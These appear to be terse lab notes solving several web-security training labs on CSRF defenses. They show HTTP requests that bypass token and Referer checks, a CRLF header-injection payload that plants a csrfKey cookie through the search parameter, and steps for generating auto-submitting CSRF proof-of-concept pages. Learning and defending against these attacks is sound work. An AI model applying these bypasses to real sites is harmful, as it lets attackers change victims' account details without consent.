Lab: CSRF where token validation depends on request method
This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
There is weak csrf protection. We can bypass it with using another type of request.
POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=sxvRDU1AMkOoKQAHggYlMxmYvwux8VQO
GET /my-account/change-email?email=test1%40test.com&csrf= HTTP/1.1
GET /my-account/change-email?email=test%40test.com&csrf= -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Copy HTML
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.
There is weak csrf validation. It checks just legit one, not the relevant with the user.
POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=JG7Q6mBICNYFzoyoV5hYpWtrNYd594P8
Lab: CSRF where token is tied to non-session cookie
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.
There is weak csrf validation. It checks just legit one, not the relevant with the user.
POST /my-account/change-email HTTP/1.1
Cookie: csrfKey=8I8n27eFyGpcdsZx0IclajLEbnlHnKby;
...
email=test%40test.com&csrf=fz9i4GYhEG7fmO2F1eH34fsTpsQ3vwlw
We obtained csrfKey and csrf value with an another user. So we can change email address with valid keys.
We have to inject our csrfKey cookie to the user session.
In search function in website, we can see the way.
Search -> test
GET /?search=test HTTP/1.1
In response:
Set-Cookie: LastSearchTerm=test;
There is no filter for search. So we can use search func to inject our csrfKey cookie value.
/?search=test%0d%0aSet-Cookie:%20csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ
In response:
Set-Cookie: csrfKey=9Lz92TCDDpco7KZk7sH5s8DGsskKG9sZ;
POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Replace CSRF value -> Replace script part as follows -> Copy HTML
POST /my-account/change-email HTTP/1.1
Cookie: csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk; LastSearchTerm=test; session=XcWME6SyAyKgICamvlFjNT5ielLP0h45
...
email=test%40test.com&csrf=G2wTaO4fpWuGLL6dlBJvGBtzg7TSeDzk
POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Replace script part as follows -> Copy HTML
Lab: CSRF where Referer validation depends on header being present
This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
There is weak csrf validation. It checks just legit referer header.
POST /my-account/change-email HTTP/1.1
Referer: https://accc1f911e9210ebc0554ed9000a0090.web-security-academy.net/my-account
...
email=test3%40test.com
We got this error with using non-related domains at referer header: "Invalid referer header"
We deleted the referer header, then we could make the request successfully.
POST /my-account/change-email -> Engagements Tools -> CSRF PoC Generator -> Include Auto-Submit Script(checked) -> Regenerate -> Add the meta tag with contents -> Copy HTML
This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
There is weak csrf validation. It checks just legit referer header.
POST /my-account/change-email HTTP/1.1
Referer: https://ac3a1fd81f88743bc0a2729b00e700ad.web-security-academy.net/my-account
...
email=test%40test.com